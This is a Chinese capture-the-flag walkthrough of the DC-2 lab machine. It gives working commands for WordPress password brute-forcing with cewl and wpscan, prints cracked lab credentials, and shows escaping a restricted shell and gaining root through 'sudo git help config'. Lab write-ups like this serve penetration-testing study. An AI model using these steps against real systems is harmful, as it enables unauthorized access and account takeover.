靶机地址:192.168.99.150(DC-2)链接

渗透机:192.168.99.188(Kali)

物理主机:192.168.99.107(Windows10)

目标:尽可能拿到更多的flag,有5个

nmap主机发现:

访问80端口,发现是一个WordPress站点,首页有flag1,如下

似乎是让我们对用户进行爆破,但常规的密码字典里可能没有我们所需要的密码,于是采用Cewl进行密码信息搜集

cewl http://dc-2/ -m 3 -d 3 -e -v -w wppass.txt
-m 最小单词长度
-d:爬网深度
-e:收集包含email地址信息
-v:Verbose模式,该模式下,Cewl会导出目标网站的详细数据
-w:保存字典文件

得到字典后使用wpscan对网站后台进行扫描测试

wpscan --url http://dc-2/ -e u -P /home/kali/msf_exp/wppass.txt
-e: 枚举 u表示枚举用户
-P: 爆破密码字典路径

拿到两个用户的用户名和密码

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

登录后台,在page里拿到flag2

找其它的切入点,前面nmap在0-1000的端口中只扫到了一个80端口,加大力度,改成0-10000

扫到一个7744的ssh端口,tom用户连上使用wp的后台密码即可登录,jerry不行,可能不是这个密码,也可能jerry不允许ssh登录

登录目录下找到flag3,less查看

随后尝试很多命令用不了,当前目录下的usr目录也进不去,查看当前目录下所有文件,查看.bash_history

ls -al usr/bin

有四个命令可以用,并且使用的是rbash,一个功能受限的bash,限制性可能会有如下

  • 使用命令cd更改目录
  • 设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
  • 指定包含参数'/'的文件名
  • 指定包含参数' - '的文件名
  • 使用重定向输出'>', '>>', '> |', '<>' '>&','&>'

使用scp绕过

还可以这样

也可以用vi,方法不唯一,搬张图,可参考文末的链接

在jerry的用户目录下找到flag4.txt

you're on your own now. :-),线索git

配置当前shell环境变量

export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

大部分命令可用了

根据flag3的提示,su切换到jerry,密码就是上面的密码,sudo -l看看用户可以用sudo运行一些命令

git可用,git提权

sudo git help config  
在末行命令模式输入 !/bin/bash 或 !'sh'

成功拿到最后的flag

参考: